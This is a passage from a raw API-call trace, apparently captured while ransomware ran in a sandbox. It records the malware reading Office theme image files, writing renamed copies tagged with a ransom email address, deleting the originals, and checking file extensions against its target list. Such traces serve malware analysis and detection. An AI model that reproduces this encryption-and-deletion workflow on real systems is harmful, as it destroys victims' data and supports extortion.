dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.756] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.757] GetLastError () returned 0x0 [0048.757] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x7279, lpOverlapped=0x0) returned 1 [0049.040] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0049.058] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.058] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.059] SetEndOfFile (hFile=0x1a0) returned 1 [0049.059] CloseHandle (hObject=0x1a0) returned 1 [0049.059] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.059] SetEndOfFile (hFile=0x208) returned 1 [0049.060] CloseHandle (hObject=0x208) returned 1 [0049.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.060] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0049.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.060] lstrlenW (lpString=".doc") returned 4 [0049.060] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.060] lstrlenW (lpString=".docx") returned 5 [0049.060] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.060] lstrlenW (lpString=".pdf") returned 4 [0049.060] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.060] lstrlenW (lpString=".xls") returned 4 [0049.060] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.060] lstrlenW (lpString=".xlsx") returned 5 [0049.060] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.061] lstrlenW (lpString=".ppt") returned 4 [0049.061] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.061] lstrlenW (lpString=".zip") returned 4 [0049.061] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.061] lstrlenW (lpString=".rar") returned 4 [0049.061] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.061] lstrlenW (lpString=".bz2") returned 4 [0049.061] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.061] lstrlenW (lpString=".7z") returned 3 [0049.061] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.064] lstrlenW (lpString=".dbf") returned 4 [0049.064] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.064] lstrlenW (lpString=".1cd") returned 4 [0049.065] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.065] lstrlenW (lpString=".jpg") returned 4 [0049.065] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.065] lstrlenW (lpString=".doc") returned 4 [0049.065] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.065] lstrlenW (lpString=".docx") returned 5 [0049.065] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.065] lstrlenW (lpString=".pdf") returned 4 [0049.065] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.065] lstrlenW (lpString=".xls") returned 4 [0049.065] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.065] lstrlenW (lpString=".xlsx") returned 5 [0049.065] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.065] lstrlenW (lpString=".ppt") returned 4 [0049.065] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.065] lstrlenW (lpString=".zip") returned 4 [0049.065] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.065] lstrlenW (lpString=".rar") returned 4 [0049.066] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.066] lstrlenW (lpString=".bz2") returned 4 [0049.066] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.066] lstrlenW (lpString=".7z") returned 3 [0049.066] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.066] lstrlenW (lpString=".dbf") returned 4 [0049.066] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.066] lstrlenW (lpString=".1cd") returned 4 [0049.066] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.066] lstrlenW (lpString=".jpg") returned 4 [0049.066] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.066] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0049.066] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.066] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1675) returned 1 [0049.067] CloseHandle (hObject=0x208) returned 1 [0049.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0049.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.067] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.067] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.252] GetLastError () returned 0x0 [0049.252] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x68b, lpOverlapped=0x0) returned 1 [0049.254] WriteFile (in: hFile=0x188, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x690, lpOverlapped=0x0) returned 1 [0049.254] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.254] WriteFile (in: hFile=0x188, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.254] SetEndOfFile (hFile=0x188) returned 1 [0049.255] CloseHandle (hObject=0x188) returned 1 [0049.255] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.255] SetEndOfFile (hFile=0x208) returned 1 [0049.256] CloseHandle (hObject=0x208) returned 1 [0049.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.256] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0049.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.256] lstrlenW (lpString=".doc") returned 4 [0049.256] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.256] lstrlenW (lpString=".docx") returned 5 [0049.256] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.256] lstrlenW (lpString=".pdf") returned 4 [0049.256] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.256] lstrlenW (lpString=".xls") returned 4 [0049.256] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.256] lstrlenW (lpString=".xlsx") returned 5 [0049.256] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.256] lstrlenW (lpString=".ppt") returned 4 [0049.256] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.256] lstrlenW (lpString=".zip") returned 4 [0049.256] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.256] lstrlenW (lpString=".rar") returned 4 [0049.257] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.257] lstrlenW (lpString=".bz2") returned 4 [0049.257] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.257] lstrlenW (lpString=".7z") returned 3 [0049.257] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.257] lstrlenW (lpString=".dbf") returned 4 [0049.257] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.257] lstrlenW (lpString=".1cd") returned 4 [0049.257] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.257] lstrlenW (lpString=".jpg") returned 4 [0049.257] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.257] lstrlenW (lpString=".doc") returned 4 [0049.257] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.257] lstrlenW (lpString=".docx") returned 5 [0049.257] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.257] lstrlenW (lpString=".pdf") returned 4 [0049.257] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.257] lstrlenW (lpString=".xls") returned 4 [0049.257] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.257] lstrlenW (lpString=".xlsx") returned 5 [0049.257] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.257] lstrlenW (lpString=".ppt") returned 4 [0049.257] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.257] lstrlenW (lpString=".zip") returned 4 [0049.257] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.257] lstrlenW (lpString=".rar") returned 4 [0049.257] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.257] lstrlenW (lpString=".bz2") returned 4 [0049.257] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.257] lstrlenW (lpString=".7z") returned 3 [0049.258] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.258] lstrlenW (lpString=".dbf") returned 4 [0049.258] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.258] lstrlenW (lpString=".1cd") returned 4 [0049.258] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0049.258] lstrlenW (lpString=".jpg") returned 4 [0049.258] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.258] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0049.258] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.258] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2668) returned 1 [0049.258] CloseHandle (hObject=0x208) returned 1 [0049.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0049.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.259] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.259] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0049.261] GetLastError () returned 0x0 [0049.261] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0xa6c, lpOverlapped=0x0) returned 1 [0049.262] WriteFile (in: hFile=0x228, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xa70, lpOverlapped=0x0) returned 1 [0049.263] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.263] WriteFile (in: hFile=0x228, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.263] SetEndOfFile (hFile=0x228) returned 1 [0049.263] CloseHandle (hObject=0x228) returned 1 [0049.264] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.264] SetEndOfFile (hFile=0x208) returned 1 [0049.265] CloseHandle (hObject=0x208) returned 1 [0049.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.265] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0049.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.265] lstrlenW (lpString=".doc") returned 4 [0049.265] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.266] lstrlenW (lpString=".docx") returned 5 [0049.266] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.266] lstrlenW (lpString=".pdf") returned 4 [0049.266] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.266] lstrlenW (lpString=".xls") returned 4 [0049.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.266] lstrlenW (lpString=".xlsx") returned 5 [0049.266] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.266] lstrlenW (lpString=".ppt") returned 4 [0049.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.266] lstrlenW (lpString=".zip") returned 4 [0049.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.266] lstrlenW (lpString=".rar") returned 4 [0049.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.266] lstrlenW (lpString=".bz2") returned 4 [0049.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.266] lstrlenW (lpString=".7z") returned 3 [0049.266] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.266] lstrlenW (lpString=".dbf") returned 4 [0049.266] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.266] lstrlenW (lpString=".1cd") returned 4 [0049.266] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.266] lstrlenW (lpString=".jpg") returned 4 [0049.266] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.266] lstrlenW (lpString=".doc") returned 4 [0049.266] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.266] lstrlenW (lpString=".docx") returned 5 [0049.266] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.266] lstrlenW (lpString=".pdf") returned 4 [0049.267] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.267] lstrlenW (lpString=".xls") returned 4 [0049.267] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.267] lstrlenW (lpString=".xlsx") returned 5 [0049.267] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.267] lstrlenW (lpString=".ppt") returned 4 [0049.267] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.267] lstrlenW (lpString=".zip") returned 4 [0049.267] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.267] lstrlenW (lpString=".rar") returned 4 [0049.267] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.267] lstrlenW (lpString=".bz2") returned 4 [0049.267] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.267] lstrlenW (lpString=".7z") returned 3 [0049.267] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.267] lstrlenW (lpString=".dbf") returned 4 [0049.267] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.267] lstrlenW (lpString=".1cd") returned 4 [0049.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0049.267] lstrlenW (lpString=".jpg") returned 4 [0049.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.267] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0049.267] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.268] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=42453) returned 1 [0049.268] CloseHandle (hObject=0x208) returned 1 [0049.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0049.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.268] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.268] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 